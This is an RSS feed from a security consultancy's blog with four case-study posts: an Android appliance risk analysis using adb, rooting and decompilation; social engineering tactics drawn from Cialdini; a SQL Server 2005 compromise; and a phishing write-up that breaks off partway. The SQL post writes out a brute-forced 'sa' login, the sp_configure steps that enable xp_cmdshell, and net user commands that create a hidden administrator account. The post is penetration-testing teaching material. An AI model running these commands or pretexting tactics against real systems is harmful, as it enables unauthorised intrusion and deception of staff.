<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Checkmate &#187; Case Studies</title>
	<atom:link href="http://niiconsulting.com/checkmate/category/case-studies/feed/" rel="self" type="application/rss+xml" />
	<link>http://niiconsulting.com/checkmate</link>
	<description>An Information Security Blog by NII Consulting</description>
	<lastBuildDate>Fri, 02 Dec 2011 08:26:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Risk Analysis of Android Based Appliance</title>
		<link>http://niiconsulting.com/checkmate/2011/11/24/risk-analysis-of-android-based-appliance/</link>
		<comments>http://niiconsulting.com/checkmate/2011/11/24/risk-analysis-of-android-based-appliance/#comments</comments>
		<pubDate>Thu, 24 Nov 2011 10:40:16 +0000</pubDate>
		<dc:creator>Pralhad Chaskar</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Secure Coding]]></category>
		<category><![CDATA[Adb]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Android Debug Bridge (ADB)]]></category>
		<category><![CDATA[Android Reversing Toolkit]]></category>
		<category><![CDATA[ART]]></category>
		<category><![CDATA[Best Coding Practices Android]]></category>
		<category><![CDATA[jd-gui]]></category>
		<category><![CDATA[logcat]]></category>
		<category><![CDATA[Manitree]]></category>
		<category><![CDATA[non-rooted]]></category>
		<category><![CDATA[packages.xml]]></category>
		<category><![CDATA[ProGuard]]></category>
		<category><![CDATA[rooted]]></category>
		<category><![CDATA[USB Debugging]]></category>
		<category><![CDATA[z4root]]></category>

		<guid isPermaLink="false">http://niiconsulting.com/checkmate/?p=336</guid>
		<description><![CDATA[Overview I had to do the risk analysis of the Android 2.2 – Froyo based appliance and check for any security flaws exist in it before the XYZ Ltd. (just the example) company could launch that product in the market. Background How I get connected to appliance At start of my task I first assign [...]]]></description>
			<content:encoded><![CDATA[<h2><strong>Overview</strong></h2>
<p>I had to do the risk analysis of the Android 2.2 – Froyo based appliance and check for any security flaws exist in it before the XYZ Ltd. (just the example) company could launch that product in the market.</p>
<h2><strong>Background</strong></h2>
<p><strong>How I get connected to appliance</strong><br />
At start of my task I first assign an IP address (here 192.168.1.88) to the appliance, and ensure I have necessary connectivity to the appliance. The next obvious task is to run a port scan. I use NMAP and to my dismay I find no open ports. I now enabled USB debugging in android appliance by browsing this path of appliance.</p>
<p><strong>Settings &gt; Applications &gt; Development &gt; USB Debugging </strong></p>
<p>Again port scanning the device I found Port No. 5555 Open.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p3.jpg" alt="" width="263" height="40" /></p>
<p>Then I figured out that by Enabling USB debugging opens Port no. 5555 by default. Odd-numbered range of ports from 5555 to 5585 are usually used by emulators/devices (let Nmap to find&#8217;s it out for you).</p>
<h4>Intermediate between my machine and appliance: ADB</h4>
<p>My next step was to place the bridge between my machine and appliance. Here Google helped me by providing us the <a title="ADB" href="http://developer.android.com/guide/developing/tools/adb.html#logcat" target="_blank">Android Debug Bridge</a> (ADB) which is freely available <img src='http://niiconsulting.com/checkmate/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .</p>
<p><strong>Android Debug Bridge</strong> (adb) is a versatile command line tool that lets you communicate with an emulator instance or connected Android-powered device. It is a client-server program that includes three components:<br />
1] A client, which runs on your development machine. You can invoke a client from a shell by issuing an adb command.<br />
2] A server, which runs as a background process on your development machine. The server manages communication between the client and the adb daemon running on an emulator or device.<br />
3] A daemon, which runs as a background process on each emulator or device instance.</p>
<p>Following is the snippet of ADB.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/21.jpg" alt="" width="547" height="469" /></p>
<p>Commands of my interest were as follows:-<br />
1] adb connect device_ip:port_no – connects to attached device<br />
2] adb devices &#8211; List all connected devices/emulator<br />
3] adb push &lt;local_path&gt; &lt;remote_path&gt; &#8211; Copy file/dir to device/emulator<br />
4] adb pull &lt;remote_path&gt; [&lt;local_path&gt;] &#8211; Copy file/dir from device/emulator<br />
5] adb shell &#8211; Run remote shell interactively<br />
6] adb logcat &#8211; View device log<br />
7] adb install [-l] [-r] [-s] &lt;file&gt; &#8211; push this package file to the device<br />
8] adb uninstall [-k] &lt;package&gt; &#8211; remove this app package from the device<br />
9] adb help &#8211; Always helps to view all switches available <img src='http://niiconsulting.com/checkmate/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><strong>What do you mean rooting the android appliance?</strong><br />
Android is basically a reworked Linux. Rooting means getting super user privilege to android device. Rooting thus provide you with access to system files and the ability to change things that normally are marked read only. This allows you to change all kinds of things that normally you wouldn&#8217;t be able to, along with install custom versions of Android.</p>
<p>There are multiple applications available for rooting the android eg: z4root, EasyRoot, SuperOneClick and many more.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p2.jpg" alt="" width="219" height="328" /></p>
<p>In my case <a href="http://forum.xda-developers.com/showthread.php?t=833953">z4root</a> helped me to become root user, it allows for temporary / permanent root using <a href="http://www.c-skills.blogspot.com/">Sebastian Krahmer&#8217;s RageAgainstTheCage</a> method.</p>
<p><strong>Tools help</strong><br />
<strong>Android Reversing Toolkit</strong> (ART) by Deurus which used to Compile, De-Compile, Re-compile the applications.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p9.jpg" alt="" width="440" height="329" /></p>
<p><a href="http://intrepidusgroup.com/insight/2011/11/manitree-androidmanifest-xml-auditor/">Manitree</a> (by IntrepidusGroup) is a tool that will review an AndroidManifest.xml file, APK package, or an entire device (or devices) for insecure values in the AndroidManifest.xml file. This is not the exact way to analyze the APK’s but this tool will help you want to analyze 100′s of APK’s in short span of time and pluck out low hanging fruits.</p>
<p><strong>dex2jar</strong> is a tool for converting Android&#8217;s .dex format to Java&#8217;s .class format which is readable by using Java Decompiler GUI utility.</p>
<p><strong>Let’s Get Started</strong><br />
Here our appliance [Target] IP address was 192.168.1.88. Then I connected to the appliance using ADB.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p4.jpg" alt="" width="400" height="53" /></p>
<p>Are we connected? Let’s verified the same</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p5.jpg" alt="" width="272" height="39" /></p>
<p>Uhhh….Finally our appliance is talking to us <img src='http://niiconsulting.com/checkmate/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  and we are also able to talk. By using the ADB we get the shell access of the appliance by using the command as follows.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p6.jpg" alt="" width="154" height="235" /></p>
<p>Firstly I got the non-rooted (not able to browse all directories and files) appliance and want to pull out all the application (apk). Hence in order to get the path of each application’s installed, I need the packages.xml file. This file helped me to figure the exact path (codePath) of each apk located under /data/app directory (not available usually for non-rooted) of android. Following is the command for the same.</p>
<p><strong>adb pull /data/system/packages.xml</strong></p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p1.jpg" alt="" width="539" height="91" /></p>
<p>In my case the desired application was in /data/app directory, so i was able to pull APK file from the appliance even if my appliance was non-rooted. But suppose your desired application is located in /data/app-private directory, and then you cannot pull out applications (apk) from non-rooted appliance.</p>
<p>Then i thought of rooting the appliance using the z4Root to get deeper insight of appliance and underlying OS.</p>
<p>And following are the directories and files we could find under root directory. Here our ADB daemon is only running with privilege of root by default.</p>
<p>Under the <strong>/system/app</strong> we could find all the applications installed in the appliance.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p7.jpg" alt="" width="241" height="260" /></p>
<p>Then we can pull the respective *.apk file via ADB.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p8.jpg" alt="" width="490" height="26" /></p>
<p>An .apk file extension denotes an Android Package (APK) file. This file format, a variant of the JAR format, is used for distributing and installing bundled components onto the Android operating system.</p>
<p>After pulling the desired apk, I used ART (one method to look into apk) to decompile the apk can be used to Compile, De-Compile &amp; Re-Compile the applications. The steps involved in De-compilation are as follows:-</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p10.jpg" alt="" width="600" height="109" /></p>
<p>Now my concern was to dig in this APK file. So just rename the *.apk to *.zip (it is another way to look into apk). Unzip the respective file. Following are the contents of the same.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p11.jpg" alt="" width="477" height="109" /></p>
<p><strong>AndroidManifest.xml</strong> is a required file for any application. It describes the name, version, access rights, referenced library files, and other information of the application. The AndroidManifest.xml contained in the .apk file has been compressed.<br />
<strong>META-INF</strong> Directory, where signature data is stored, is used to ensure the integrality of the .apk package and system security.<br />
<strong>Classes.dex</strong> is a java byte code file generated after the compilation using java source codes.<br />
<strong>Res</strong> directory is used to store resource files.<br />
<strong>resources.arsc</strong> is a binary resource file after compilation.</p>
<p>By just supplying the AndroidManifest.xml file to Manitree, it will generate the report mentioning the improper permissions granted to application with severity. Following is the usage for the same.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p12.jpg" alt="" width="623" height="114" /></p>
<p>So let’s check in the code of AndroidManifest.xml which is pointed out by the Manitree.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p13.jpg" alt="" width="795" height="155" /></p>
<p>In above image <strong>&lt;grant-uri-permission android:pathPrefix=”/” /&gt;</strong> means that anything that is located in a path that starts with “/” is able to access the content-provider of any other application. For better understanding ContentProvider are used to provide data from an application to another (eg: &#8211; Social networking app which could access the photos from Gallery, so here Social Networking app &amp; Gallery are sharing the common resource). ContentProvider do not store the data but provide the interface for other applications to access the data. Hence in our case instead of &lt;grant-uri-permission android:pathPrefix=”/” /&gt; it should be <strong>&lt;grant-uri-permission android:pathPrefix=”/&lt;specific_application_directory&gt;” /&gt;</strong></p>
<p>Now let’s concentrate on Classes.dex file. This file can be decompressed using the tool <strong>dex2jar</strong>.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p14.jpg" alt="" width="619" height="50" /></p>
<p>Now open generated classes.dex.dex2jar.jar file using Java Decompiler GUI [jd-gui].</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p15.jpg" alt="" width="217" height="155" /></p>
<p>Expanding each tab we could actually read the code.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/12/p16.jpg" alt="" width="624" height="372" /></p>
<p>Going through the non-obfuscated code we can understand the flow of code and working of Application. In order to prevent this we can use “<strong>ProGuard</strong>” tool which shrinks, optimizes and obfuscates your code and renaming classes, fields, and methods with semantically obscure names. The result is a smaller sized .apk file that is more difficult to reverse engineer. After usage of Proguard code looks as follows.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p17.jpg" alt="" width="624" height="264" /></p>
<p>Next step was is there any database in backend for application to store the data. This I could figure out in <strong>/data/data/&lt;package_name&gt;/databases/ folder</strong>. Then by using the ADB we can pull the desired database file on our machine.</p>
<p>Android as whole uses SQLite database to store the data for each application. We can view the contents of extracted database file of desired “package_name” using the addon in Mozilla Firefox named SQLite Manager 0.7.4 or tool named SQLite Maestro.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p18.jpg" alt="" width="442" height="240" /></p>
<p>Now I can read the un-encrypted database entries and also execute the SQL queries to refine your result.</p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p19.jpg" alt="" width="344" height="289" /></p>
<p>While this entire activity is running always keep “<strong>logcat</strong>” open in one of the terminal/command-prompt. Logcat has mechanism for collecting and viewing system debug output. Logs from various applications and portions of the system are collected in a series of circular buffers, which then can be viewed and filtered by the logcat command. Following is the command for the same.</p>
<p><strong> adb logcat [&lt;option&gt;] … [&lt;filter-spec&gt;] …</strong></p>
<p><img class="alignnone" src="http://niiconsulting.com/checkmate/wp-content/uploads/2011/11/p20.jpg" alt="" width="766" height="209" /></p>
<p><strong>Exercise ended with following Risks</strong><br />
1] Root-level Access to system<br />
2] Installation of 3rd-Party APKs<br />
3] No authentication to access to system<br />
4] Remote Connection/Management of Device<br />
5] Vulnerability in the underlying OS<br />
6] Insecure Coding Practices<br />
7] Unrestricted Browsing permissions<br />
8] Manual Vendor Updates<br />
9] Loss of the Device<br />
10] Database entries are not encrypted</p>
<p><strong>Best Coding Practices for building secure Android application</strong>  (Source: Google)<br />
1] Maintain a privacy policy<br />
2] Minimize permissions<br />
3] Give your users a choice regarding data collection<br />
4] Don’t collect unnecessary information<br />
5] Don’t send data off the device<br />
6] Use encryption and data minimization<br />
7] Don’t use code you don’t understand<br />
8] Don’t log device or user specific information<br />
9] Use Proguard- Code obfuscation mechanism<br />
10] Performing Input Validation</p>
]]></content:encoded>
			<wfw:commentRss>http://niiconsulting.com/checkmate/2011/11/24/risk-analysis-of-android-based-appliance/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Social Engineering &amp; &#8220;Influence&#8221;, by Dr. Cialdini</title>
		<link>http://niiconsulting.com/checkmate/2010/06/03/social-engineering-influence-by-dr-cialdini/</link>
		<comments>http://niiconsulting.com/checkmate/2010/06/03/social-engineering-influence-by-dr-cialdini/#comments</comments>
		<pubDate>Thu, 03 Jun 2010 07:10:40 +0000</pubDate>
		<dc:creator>K K Mookhey</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Cialdini]]></category>

		<guid isPermaLink="false">http://niiconsulting.com/checkmate/?p=253</guid>
		<description><![CDATA[Over the past few years, we have completed a number of social engineering tests as part of advanced penetration testing at various organizations. Coincidentally, I recently read an excellent book called “Influence – the Psychology of Persuasion” by Dr. Robert Cialdini.and realized that it has some excellent lessons for anyone wanting to guard themselves from [...]]]></description>
			<content:encoded><![CDATA[<p>Over the past few years, we have completed a number of social engineering tests as part of advanced penetration testing at various organizations. Coincidentally, I recently read an excellent book called “Influence – the Psychology of Persuasion” by <a href="http://en.wikipedia.org/wiki/Robert_Cialdini" target="_blank">Dr. Robert Cialdini.</a>and realized that it has some excellent lessons for anyone wanting to guard themselves from social engineering attacks.</p>
<p>Dr. Cialdini’s book is an excellent coverage of what he calls “compliance professionals” – people engaged in hard-core door-to-door selling such as second-hand car salesman, multi-level marketing (read Amway) professionals, etc. He talks about the following 6 techniques adopted by these professionals to convince people to buy things they were never going to buy in the first place. The same techniques can also afford the social engineer easy access to information, and it is worthwhile for information security professionals to examine what the other breed of “compliance professionals” is up to!</p>
<p><span id="more-253"></span></p>
<p><strong> 1. Reciprocation: </strong>We are hard-wired to respond to a favor, often not in direct proportion to the size of the favor done to us. One such example given by Cialdini is the aid given in 1985 by Ethiopian Red Cross to earthquake victims in Mexico as repayment of aid given by Mexico when Ethiopia was invaded by Italy, way back in 1935! For the original <a href="http://news.google.com/newspapers?id=6aAmAAAAIBAJ&amp;sjid=xgEGAAAAIBAJ&amp;pg=5597,2603767&amp;hl=en" target="_blank">news article click here</a>.<br />
<span style="text-decoration: underline;">Practical exploitation:</span> <span style="text-decoration: underline;"><br />
</span>We used this technique to deadly effect by inducing a systems administrator to disclose highly confidential information about their set up after providing him with lots of study material for the upcoming CISA exam.</p>
<p><strong>2. Commitment and Consistency: </strong>Once we have made a choice or taken a stand, we will encounter personal and inter-personal pressures to behave consistently with that commitment.<br />
<span style="text-decoration: underline;">Practical exploitation:</span> <span style="text-decoration: underline;"><br />
</span>During one such test, we posed as auditors and started interviewing the system administrators. After a couple of days of helping us out with information, they led us to the other departments in the organization and further facilitated our “audit”. It was only on the 5th day that someone raised an alarm, but during the first few days once the personnel had hard-wired themselves into co-operating with us, they just went all the way, without even checking our credentials!</p>
<p><strong>3. Social Proof: </strong>One means we use to determine what is correct is to find out what other people think is correct. The principle applies especially to the way we decide what constitutes correct behavior.<br />
<span style="text-decoration: underline;">Practical exploitation:</span> <span style="text-decoration: underline;"><br />
</span>This is most simply exploited during a social engineering test by leveraging the power of social networking sites such as LinkedIn and Facebook. An attractive enough profile with other members of your organization linked to it is highly likely to make you add it to your network as well, with no clue as to the profile&#8217;s veracity.</p>
<p><strong>4. Liking: </strong>Few people would be surprised to learn that, as a rule, we most prefer to say yes to the requests of someone we know and like.<br />
<span style="text-decoration: underline;">Practical exploitation:</span> <span style="text-decoration: underline;"><br />
</span>Our most successful attempts have involved sending our more likeable people across asking for help or requesting for information to complete a “college project”. These individuals are usually well-groomed, smart, personable, and possess decent levels of charm or naivete to get the other person to comply.</p>
<p><strong>5. Authority: </strong>The famous <a href="http://en.wikipedia.org/wiki/Milgram_experiment" target="_blank">Milgram experiments</a> show the power of authority in comparison to all the other factors listed here. The real culprit is our inability to resist the psychological power wielded by the person in authority.<br />
<span style="text-decoration: underline;">Practical exploitation:</span> <span style="text-decoration: underline;"><br />
</span>We have seen this work in numerous ways by faking authority letters purporting to come from some government agency or from the managing director of the company. A lot of the times the recipient will simply comply with the request. The same effect is seen when depending on which car one is in, and how one is dressed, the security guard at the gate will adjust his level of obsequiousness.</p>
<p><strong>6. Scarcity: </strong>Collectors of everything from baseball cards to antiques are keenly aware of the influence of the scarcity principle in determining the worth of an item.<br />
<span style="text-decoration: underline;">Practical exploitation:</span> <span style="text-decoration: underline;"><br />
</span>One of the most common tactics is to build time pressure. The scarcity of time often makes people comply with requests in violation of their policies and their own common sense. We have used this on numerous occasions be it with a security guard or with a system or network administrator.</p>
<p>For other interesting social engineering experiments, search for “the real hustle” on YouTube for the BBC program that shows how as humans we easily fall prey to the smart hustler who sweet-talks his or her way into social engineering us.</p>
]]></content:encoded>
			<wfw:commentRss>http://niiconsulting.com/checkmate/2010/06/03/social-engineering-influence-by-dr-cialdini/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Hacking Microsoft Windows 2003 Server with Microsoft SQL Server 2005</title>
		<link>http://niiconsulting.com/checkmate/2009/12/08/hacking-microsoft-windows-2003-server-with-microsoft-sql-server-2005/</link>
		<comments>http://niiconsulting.com/checkmate/2009/12/08/hacking-microsoft-windows-2003-server-with-microsoft-sql-server-2005/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 05:30:53 +0000</pubDate>
		<dc:creator>TAS</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Hacks]]></category>

		<guid isPermaLink="false">http://niiconsulting.com/checkmate/?p=119</guid>
		<description><![CDATA[This post is a complete switch over from my previous post on phishing modus operandi. A little background on the hack. I was doing an assessment of a financial application; the objective was to evaluate the security of the complete infrastructure on which the application will be hosted once it goes live. As oppose to [...]]]></description>
			<content:encoded><![CDATA[<p>This post is a complete switch over from my previous post on phishing modus operandi. A little background on the hack. I was doing an assessment of a financial application; the objective was to evaluate the security of the complete infrastructure on which the application will be hosted once it goes live. As oppose to the routine list of findings this particular hack took the limelight. It was system compromise with Administrator access to the system. Yeah! </p>
<p><span id="more-119"></span></p>
<p>It was last day of our assessment; I had little time on hand before I could wind up for the day. So I thought why not bash the ‘sa’ account. I open the Microsoft SQL Server 2005 Management Studio and try some brute forcing for ‘sa’ account with common passwords, I get errors and disappointments. But this was short lived, it dint take me more than 7 tries to get the combination right. And that opens my way into the system. </p>
<p>Once I was inside, the next step was to use the stored procedure xp_cmdshell. The &#8220;xp_cmdshell&#8221; extended stored procedure runs operating system commands from within the database engine. You can use the query analyzer or T-SQL code to run the command. Back to the hack, I than open the query analyzer and type the following command</p>
<blockquote><p>
<em>exec xp_cmdshell &#8216;dir C:\&#8217;</em></p></blockquote>
<p>Though I was logged in &#8216;sa&#8217; account (the highest privilege account in SQL server), as expected I get this long error message.</p>
<blockquote><p><em>Msg 15281, Level 16, State 1, Procedure xp_cmdshell, Line 1<br />
SQL Server blocked access to procedure &#8216;sys.xp_cmdshell&#8217; of component &#8216;xp_cmdshell&#8217; because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of &#8216;xp_cmdshell&#8217; by using sp_configure. For more information about enabling &#8216;xp_cmdshell&#8217;, see &#8220;Surface Area Configuration&#8221; in SQL Server Books Online</em></p></blockquote>
<p>In short the error means, I cannot use the xp_cmdshell stored procedure to do my hack. Microsoft (MS) has turned this stored procedure OFF in the version above SQL 2000 as a part of the security configuration. The previous versions of SQL Server 2005 had full access to xp_cmdshell turned ON in the default setup. And hence it was easy to do the system compromise. One obvious advantage of disabling the xp_cmdshell is, once a hacker gets access to the SQL server, the system compromise would not become a cake walk. But let’s check out how you can still do cake walk on version above Microsoft SQL Server 2000. Just a little tricky but easy <img src='http://niiconsulting.com/checkmate/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>If you read the error carefully it gives out a lot more than it should. Check the last line of the error message. It says xp_cmdshell can be enabled using the &#8220;Surface Area Configuration&#8221;. I further Google and get plenty of articles that tell me how to use Surface Area Configuration wizard to enable the stored procedure. They would ideally work but it dint work for me for whatever reason. If you want to enable xp_cmdshell with Surface Area Configuration method on your own system, try the following</p>
<blockquote><p>
<em>Goto Microsoft SQL Server 2005<br />
Configuration Tools &gt; SQL Server Surface Area Configuration &gt; Surface Area Configuration for Feature &gt; Expand the SQL server Instance name &gt; Under Database engine goto xp_cmdshell &gt; Check &#8220;Enable xp_cmdshell&#8221; and Apply</em></p></blockquote>
<p>That&#8217;s it, you can have now enabled xp_cmdshell for your own box. You can again run the command mentioned above. You should not get any error now. The image below summarizes this</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/12/Enable_xp-cmdshell_local_sys" alt="Enabling xp_cmdshell with 'Surface Area Configuration Wizard' on your own box" /><br />
Fig: Enabling xp_cmdshell using the Surface Area Configuration Wizard</p>
<p>I had to enable xp_cmdshell on the remote system. I open my SQL Server Surface Area Configuration wizard and click on &#8220;Change computer&#8221; and specify the remote system SQL server instance name (or IP). It popped me with some error. I tried a few time but phew! It does not work for me. It was time, I try something else. I go back and start to find if there was some a command line to do the same thing. Again a few searches and I get my results. You can enable the xp_cmdshell in 4 simple steps.</p>
<blockquote><p><em>1) EXEC master.dbo.sp_configure &#8216;show advanced options&#8217;, 1 (ONE means ON, ZERO means OFF)<br />
2) RECONFIGURE<br />
3) EXEC master.dbo.sp_configure &#8216;xp_cmdshell&#8217;, 1<br />
4) RECONFIGURE</em></p></blockquote>
<p>sp_configure displays or changes global configuration settings for the current server. And the ‘sa’ account has privileges on this stored procedure. Eh! sp_configure is my key inside the system. So I first enable all the advance options than enable the xp_cmdshell. The image below shows my ‘xp_cmdshell’ in action on the remote system.</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/12/enable_xp_cmdshell.png" alt="xp_cmdshell in action on victim system" /><br />
Fig: xp_cmdshell in action on victim system</p>
<p>Once I enabled xp_cmdshell, it was time for me to add user. So I type the following commands at the query analyzer console,</p>
<blockquote><p><em>1) EXEC xp_cmdshell &#8216;net user pwnsauc3 h3ll0w0rld$ /ADD&#8217;<br />
2) EXEC xp_cmdshell &#8216;net group Administrators pwnsauc3 /ADD&#8217;</em></p></blockquote>
<p>In case the remote terminal service is not ON, goto to Start &gt; Run and type service.msc. Right click on the parent node and connect to remote services and use the above username and password. Start the Terminal Services. You can now sit and relax; you are a step away from administrator access to the system. Fire up your remote terminal client and type in the IP and login with the user name and password we created. The images below conclude my hack. </p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/12/connecting_to_remote_system.png" alt="Verify the user addition from command line" /><br />
Fig: Verify the user addition from command line</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/12/verifying_user_addition_to_sys.png" alt="Remote terminal to the victim system" /><br />
Fig: Remote terminal to the victim system</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/12/user_added_to_administrators group.png" alt="verifying the user added to Administrators group" /><br />
Fig: Verifying the user added to Administrators group</p>
<p>Adios!<br />
Taufiq Ali</p>
]]></content:encoded>
			<wfw:commentRss>http://niiconsulting.com/checkmate/2009/12/08/hacking-microsoft-windows-2003-server-with-microsoft-sql-server-2005/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Phishy Story</title>
		<link>http://niiconsulting.com/checkmate/2009/11/05/a-phishy-story/</link>
		<comments>http://niiconsulting.com/checkmate/2009/11/05/a-phishy-story/#comments</comments>
		<pubDate>Thu, 05 Nov 2009 12:17:40 +0000</pubDate>
		<dc:creator>TAS</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://niiconsulting.com/checkmate/?p=80</guid>
		<description><![CDATA[Phishing sounds similar to fishing. Fishes are to the volume of internet users today much like fishermen are to phishers. Zillions of fishes falling prey the nets is nothing less compared to internet users being phished through their own in boxes and messengers. Phishers tend to have some personal favorites &#8211; personal information, credit cards [...]]]></description>
			<content:encoded><![CDATA[<p>Phishing sounds similar to fishing. Fishes are to the volume of internet users today much like fishermen are to phishers. Zillions of fishes falling prey the nets is nothing less compared to internet users being phished through their own in boxes and messengers.  Phishers tend to have some personal favorites &#8211; personal information, credit cards numbers, debit cards numbers with ATM pins, etc. Though phishing has been around for a long time, it became more prominent back in 2003. You can read more here on the big scams <a href="http://www.washingtonpost.com/wp-dyn/articles/A59350-2004Nov18.html">here</a>.</p>
<p>How does it all work?</p>
<p><span id="more-80"></span></p>
<p>
A typical modus operandi:</p>
<p>1)	The Phisher would either go out and buy a phishing kit from the underground channels or create a look alike page himself.</p>
<p>2)	 He would then need hacked websites or a server where the pages can be hosted. This can also be easily made available. He would pay or trade for a list of hacked websites on IRC channels, underground forums etc. These are some very common sources for such deals. He could also target systems that are vulnerable to a particular vulnerability or weakness in the website &#8211; vulnerability in the hosting providers control panel software, exploit for popular CMS like Joomla, 0day vulnerability in web server, etc. A zero-day (or zero-hour) attack or threat is a computer threat that tries to exploit computer application vulnerabilities that are unknown to others, undisclosed to the software vendor, or for which no security fix is available. (ref : <a href="http://en.wikipedia.org/wiki/Zero_day_vulnerability">http://en.wikipedia.org/wiki/Zero_day_vulnerability</a>)</p>
<p>3)	Once the hacked infrastructure is ready it’s time to spam. They would ideally send out emails in large volumes. These emails are crafted to perfection. They would have the company logo, an appealing message in the email; use the CSS as the company that is phished, etc. All this together make it look perfect. It’s like decorating the devils face with cosmetics to make it look innocent. But not to forget the devil under a thin layer of cosmetics. They will have a crafted link and the hyperlink actually pointing to some website where the pages are hosted.</p>
<p>However, the entire process is a gamble. Some may fall prey to their phish nets while others may not. Over the years, phishing scams have grown from simply stealing accounts into much more dangerous criminal intention. Assuming the user is a prey of the phish net, let us understand the ways in which a phisher can harvest the data of the victim. There are various ways in which this can be done.</p>
<p>1)	The attacker here uses services of websites that let you send HTML forms embedded in your email. On submit of this HTML form the phished page will redirect you to the legitimate website. This often tricks the user. They don’t realize what just happened. The details entered on the form are then emailed to the phisher’s inbox that is supposed to collect the details. The most common examples where you can see them are when advertising on the internet.</p>
<p>2)	Second, the email is scripted in a way that a user is tempted or forced to visit the copied website. The attacker can also use the tactic mentioned above and use services like www.emailmeform.com. Attacker creates an account here and links his entire phished page to use their service to capture the details and then email it to them. This is the most common method used by phishers. Also the pages are scripted in server side programming languages like PHP, .NET, JSP etc. Doing so it does not expose the modus operandi or the attacker’s identity in any way or other details in any way.</p>
<p>3)	The third type is where the phishers use nothing like above and instead writes all the output to a predefined file. In this way he needs no email address or anything mentioned above to capture the user details. This is what I am exactly going to write about.</p>
<p>Since I had some time off before I could start with the next takedown, I decided to dig further. Before we begin let me give you a brief about our service and the client. We offer take down services to a large public sector bank. We have a strict timeline defined of 24 hrs for every takedown. Every time a customer or their monitoring reports a phished page we have to takedown the site to protect the loss of financial and other details. While doing takedowns I also get a chance to research on understanding the modus operandi behind the operation. It is very interesting.</p>
<p>I have just started my day checking my email over a cup of coffee. I receive a new email on Tue 11/3/2009 10:22 AM about a phished link being up with the URL and we need to immediately start the takedown. He also sends me a sample email. We did the usual process and the link was down by noon. Have a look at a sample phishing email. </p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/11/fraudlent-email-sample1.jpg" alt="" /></p>
<p><br/><br/></p>
<p>The email looks so real. It has the logo of the customer and perfect login URL. On hover I found it was actually pointing to some server in Russia. The page &#8216;retails.html&#8217; simply redirects to the next URL where the phished page is hosted. Have a look at the closing lines of the email below. The phisher uses pressure tactic that will force the user to browse the URL.</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/11/2009-11-04_151209.jpg" alt="" /></p>
<p>Ok I now click and I am now redirected to the URL http://200.119.X.X/retail/login.php. The page looks like this</p>
<p><img src="http://niiconsulting.com/checkmate/wp-content/uploads/2009/11/login-page.jpg" alt="" /></p>
